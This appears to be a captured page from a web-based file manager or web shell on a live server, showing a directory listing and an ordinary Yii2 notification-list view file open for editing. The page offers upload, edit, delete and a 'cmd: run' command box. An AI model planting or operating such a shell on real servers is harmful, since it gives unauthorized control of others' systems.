/
var
/
www
/
vhosts
/
nabawater
/
backend
/
views
/
notification
/
/var/www/vhosts/nabawater/backend/views/notification
mkdir
upload
Name
Size
Mode
Actions
create.php
674
0644
edit
dl
rm
index.php
3998
0644
edit
dl
rm
update.php
759
0644
edit
dl
rm
_form.php
3365
0644
edit
dl
rm
Edit:
/var/www/vhosts/nabawater/backend/views/notification/index.php
(3998B)
<?php use backend\components\CGridView; use backend\models\Notification; use yii\helpers\Html; use yii\helpers\Url; /* @var $this \yii\web\View */ /* @var $model \backend\models\Notification */ /* @var $dataProvider \backend\models\NotificationSearch */ $this->title = yii::t('backend','Notification Management'); ?> <div class="card"> <div class="row"> <div class="card-body"> <div class="card-title"> <h3><?= $this->title ?> <?= Html::a('<i class="fa fa-plus-circle"></i>'.' '. Yii::t('backend', 'Send Notification'), ['/push-notification/create'], ['class' => 'btn btn-info d-none d-lg-block m-l-15 pull-right']) ?> </h3> </div> <?php echo CGridView::widget([ 'dataProvider' => $dataProvider, 'filterModel' => $searchModel, 'columns' => [ ['class' => \yii\grid\SerialColumn::className()], [ 'attribute' => 'notification_title', 'filterInputOptions' => ['class' => 'form-control col-md-6'], 'value' => function (Notification $model) { return $model->notification_title; } ], [ 'attribute' => 'notification_description', 'filterInputOptions' => ['class' => 'form-control col-md-8'], 'value' => function (Notification $model) { return utf8_decode($model->notification_description); } ], [ 'attribute' => 'app_type', 'filter' => [ 1 => yii::t('backend','Android'), 2 => yii::t('backend','Ios'), 3 => yii::t('backend','Both'), ], 'filterInputOptions' => ['class' => 'form-control col-md-8 select2', 'prompt' => yii::t('backend','All')], 'value' => function (Notification $model) { if($model->app_type == 1) { return 'Android'; } if($model->app_type == 2) { return 'Ios'; } return 'Both'; } ], [ 'attribute' => 'created_at', 'filterInputOptions' => ['class' => 'form-control col-md-8'], 'value' => function (Notification $model) { return $model->created_at; } ], ], ]); ?> </div> </div> </div> <script type="text/javascript"> runOnLoad(function () { var $this; $("[data-size = mini]").on('switchChange.bootstrapSwitch', function () { $this = $(this); var url_val = '<?= Url::to(['change-status']) ?>'; Core.ajax({ url: url_val, data: {key: $this.closest('tr').attr('data-key'), status: Core.checkboxBoolToInt($this.is(':checked'))}, done: function (json) { if (parseInt(json.status) === 1) { Core.success(json.msg); return; } $this.attr('checked', !$this.is(':checked')); } }); }); $("[data-size = mini]").bootstrapSwitch(); $(".select2").select2(); }) </script>
Save
cmd:
run